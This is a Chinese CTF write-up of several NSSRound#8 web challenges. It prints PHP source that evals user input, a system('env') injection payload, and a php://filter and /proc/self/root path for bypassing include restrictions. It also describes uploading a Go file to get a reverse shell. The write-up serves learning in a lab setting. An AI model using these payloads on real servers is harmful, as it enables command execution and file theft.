前言

继续记录NSS平台的赛题,NSSRound#8赛题比较基础,但还是值得记录一下。

MyDoor

打开题目,细看url。

盲猜这里存在文件包含,使用php://filter读取index文件,获得源码。

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}

里面有一个eval函数是本题利用点,所以payload为:

index.php?N[S.S=system('env');

在环境变量中找到flag。

MyPage

第一题的进阶版,老样子用php伪协议读源码,读不出来。经过测试,发现data被过滤了。结合Dest0g3迎新赛的题目,该题目可能是用require_once函数包含,那么题目就转化为如何突破文件包含限制。

用软连接突破限制,相关文章:php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台所以payload为:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

proc/self/root/是一个指向当前进程的根目录的软链接。经过测试发现var被过滤了,所以接下来要用软连接来代替当前路径,使用/proc/self/cwd/软连接。

/proc/self/cwd/ 是一个特殊的符号链接,它指向当前进程的工作目录

从而得到题目flag。

Upload_gogoggo

文件上传功能,直接先上传一个php一句话木马试试。

看回显,它会将上传的文件名拼接在go语言的命令上,所以我们上传一个run.go,让服务器执行go run来运行我们的代码,至于上传的内容,我们可以用go写一个反弹shell,不会go怎么办,直接去问chatgpt。

公网开启监听2400端口,burp发包:

公网获得靶机权限,查找flag,flag分两段,有点坑人。

整合base64解码得到完整flag。

ez_node(留坑)

node.js语法太差,跟着师傅的wp和源码跟踪分析还是比较吃力,等以后有时间回看可能会有新的收获。

下方师傅博客文章:

http://gtg.ink/ez-node-NSSCTF-round-8/
https://hujiekang.top/2022/10/11/NodeJS-require-RCE/